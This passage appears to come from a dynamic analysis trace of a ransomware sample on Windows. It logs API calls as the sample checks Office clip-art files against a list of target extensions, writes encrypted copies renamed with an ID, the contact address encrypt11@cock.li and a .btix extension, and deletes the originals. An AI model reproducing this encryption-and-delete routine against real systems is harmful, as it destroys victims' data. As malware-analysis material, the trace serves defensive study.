Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0070.054] lstrlenW (lpString=".dbf") returned 4 [0070.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0070.054] lstrlenW (lpString=".1cd") returned 4 [0070.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0070.055] lstrlenW (lpString=".jpg") returned 4 [0070.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.055] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.055] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0070.058] GetLastError () returned 0x0 [0070.058] ReadFile (in: hFile=0x354, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xaec, lpOverlapped=0x0) returned 1 [0070.121] WriteFile (in: hFile=0x358, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xaf0, lpOverlapped=0x0) returned 1 [0070.122] ReadFile (in: hFile=0x354, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0070.122] WriteFile (in: hFile=0x358, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0070.122] SetEndOfFile (hFile=0x358) returned 1 [0070.122] CloseHandle (hObject=0x358) returned 1 [0070.123] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.123] SetEndOfFile (hFile=0x354) returned 1 [0070.123] CloseHandle (hObject=0x354) returned 1 [0070.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0070.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0070.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0070.125] lstrlenW (lpString=".doc") returned 4 [0070.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.125] lstrlenW (lpString=".docx") returned 5 [0070.125] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.125] lstrlenW (lpString=".pdf") returned 4 [0070.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.125] lstrlenW (lpString=".xls") returned 4 [0070.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.125] lstrlenW (lpString=".xlsx") returned 5 [0070.125] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.125] lstrlenW (lpString=".ppt") returned 4 [0070.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0070.125] lstrlenW (lpString=".zip") returned 4 [0070.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.125] lstrlenW (lpString=".rar") returned 4 [0070.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.125] lstrlenW (lpString=".bz2") returned 4 [0070.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.125] lstrlenW (lpString=".7z") returned 3 [0070.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0070.125] lstrlenW (lpString=".dbf") returned 4 [0070.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0070.125] lstrlenW (lpString=".1cd") returned 4 [0070.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0070.125] lstrlenW (lpString=".jpg") returned 4 [0070.126] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.130] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.130] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0070.135] GetLastError () returned 0x0 [0070.135] ReadFile (in: hFile=0x358, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x8fc, lpOverlapped=0x0) returned 1 [0070.163] WriteFile (in: hFile=0x32c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x900, lpOverlapped=0x0) returned 1 [0070.163] ReadFile (in: hFile=0x358, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0070.163] WriteFile (in: hFile=0x32c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0070.163] SetEndOfFile (hFile=0x32c) returned 1 [0070.164] CloseHandle (hObject=0x32c) returned 1 [0070.164] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.164] SetEndOfFile (hFile=0x358) returned 1 [0070.165] CloseHandle (hObject=0x358) returned 1 [0070.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0070.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0070.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0070.165] lstrlenW (lpString=".doc") returned 4 [0070.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.165] lstrlenW (lpString=".docx") returned 5 [0070.165] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.165] lstrlenW (lpString=".pdf") returned 4 [0070.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.166] lstrlenW (lpString=".xls") returned 4 [0070.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.166] lstrlenW (lpString=".xlsx") returned 5 [0070.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.166] lstrlenW (lpString=".ppt") returned 4 [0070.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0070.166] lstrlenW (lpString=".zip") returned 4 [0070.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.166] lstrlenW (lpString=".rar") returned 4 [0070.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.166] lstrlenW (lpString=".bz2") returned 4 [0070.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.166] lstrlenW (lpString=".7z") returned 3 [0070.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0070.166] lstrlenW (lpString=".dbf") returned 4 [0070.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0070.166] lstrlenW (lpString=".1cd") returned 4 [0070.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0070.166] lstrlenW (lpString=".jpg") returned 4 [0070.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.167] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.167] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0070.167] GetLastError () returned 0x0 [0070.167] ReadFile (in: hFile=0x358, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x7d4, lpOverlapped=0x0) returned 1 [0070.179] WriteFile (in: hFile=0x32c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x7e0, lpOverlapped=0x0) returned 1 [0070.180] ReadFile (in: hFile=0x358, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0070.180] WriteFile (in: hFile=0x32c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0070.180] SetEndOfFile (hFile=0x32c) returned 1 [0070.180] CloseHandle (hObject=0x32c) returned 1 [0070.180] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.180] SetEndOfFile (hFile=0x358) returned 1 [0070.181] CloseHandle (hObject=0x358) returned 1 [0070.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0070.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0070.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0070.182] lstrlenW (lpString=".doc") returned 4 [0070.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.182] lstrlenW (lpString=".docx") returned 5 [0070.182] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.182] lstrlenW (lpString=".pdf") returned 4 [0070.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.182] lstrlenW (lpString=".xls") returned 4 [0070.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.182] lstrlenW (lpString=".xlsx") returned 5 [0070.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.182] lstrlenW (lpString=".ppt") returned 4 [0070.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0070.182] lstrlenW (lpString=".zip") returned 4 [0070.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.182] lstrlenW (lpString=".rar") returned 4 [0070.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.182] lstrlenW (lpString=".bz2") returned 4 [0070.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.182] lstrlenW (lpString=".7z") returned 3 [0070.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0070.182] lstrlenW (lpString=".dbf") returned 4 [0070.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0070.182] lstrlenW (lpString=".1cd") returned 4 [0070.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0070.182] lstrlenW (lpString=".jpg") returned 4 [0070.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.183] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.183] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0070.183] GetLastError () returned 0x0 [0070.183] ReadFile (in: hFile=0x358, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x804, lpOverlapped=0x0) returned 1 [0070.200] WriteFile (in: hFile=0x32c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x810, lpOverlapped=0x0) returned 1 [0070.204] ReadFile (in: hFile=0x358, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0070.204] WriteFile (in: hFile=0x32c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0070.204] SetEndOfFile (hFile=0x32c) returned 1 [0070.204] CloseHandle (hObject=0x32c) returned 1 [0070.204] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.204] SetEndOfFile (hFile=0x358) returned 1 [0070.205] CloseHandle (hObject=0x358) returned 1 [0070.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0070.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0070.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0070.206] lstrlenW (lpString=".doc") returned 4 [0070.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.206] lstrlenW (lpString=".docx") returned 5 [0070.206] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.206] lstrlenW (lpString=".pdf") returned 4 [0070.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.206] lstrlenW (lpString=".xls") returned 4 [0070.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.206] lstrlenW (lpString=".xlsx") returned 5 [0070.206] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.206] lstrlenW (lpString=".ppt") returned 4 [0070.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0070.206] lstrlenW (lpString=".zip") returned 4 [0070.206] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.207] lstrlenW (lpString=".rar") returned 4 [0070.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.207] lstrlenW (lpString=".bz2") returned 4 [0070.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.207] lstrlenW (lpString=".7z") returned 3 [0070.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0070.207] lstrlenW (lpString=".dbf") returned 4 [0070.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0070.207] lstrlenW (lpString=".1cd") returned 4 [0070.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0070.207] lstrlenW (lpString=".jpg") returned 4 [0070.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.207] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.207] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0070.208] GetLastError () returned 0x0 [0070.208] ReadFile (in: hFile=0x358, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x760, lpOverlapped=0x0) returned 1 [0070.314] WriteFile (in: hFile=0x32c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x770, lpOverlapped=0x0) returned 1 [0070.315] ReadFile (in: hFile=0x358, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0070.315] WriteFile (in: hFile=0x32c, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0070.315] SetEndOfFile (hFile=0x32c) returned 1 [0070.322] CloseHandle (hObject=0x32c) returned 1 [0070.322] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.322] SetEndOfFile (hFile=0x358) returned 1 [0070.325] CloseHandle (hObject=0x358) returned 1 [0070.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0070.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0070.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0070.325] lstrlenW (lpString=".doc") returned 4 [0070.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.329] lstrlenW (lpString=".docx") returned 5 [0070.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.329] lstrlenW (lpString=".pdf") returned 4 [0070.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.329] lstrlenW (lpString=".xls") returned 4 [0070.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.330] lstrlenW (lpString=".xlsx") returned 5 [0070.330] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.330] lstrlenW (lpString=".ppt") returned 4 [0070.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0070.330] lstrlenW (lpString=".zip") returned 4 [0070.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.330] lstrlenW (lpString=".rar") returned 4 [0070.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.330] lstrlenW (lpString=".bz2") returned 4 [0070.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.330] lstrlenW (lpString=".7z") returned 3 [0070.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0070.330] lstrlenW (lpString=".dbf") returned 4 [0070.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0070.330] lstrlenW (lpString=".1cd") returned 4 [0070.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0070.330] lstrlenW (lpString=".jpg") returned 4 [0070.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.330] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.330] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0070.331] GetLastError () returned 0x0 [0070.331] ReadFile (in: hFile=0x358, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xbb4, lpOverlapped=0x0) returned 1 [0070.411] WriteFile (in: hFile=0x398, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xbc0, lpOverlapped=0x0) returned 1 [0070.412] ReadFile (in: hFile=0x358, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, 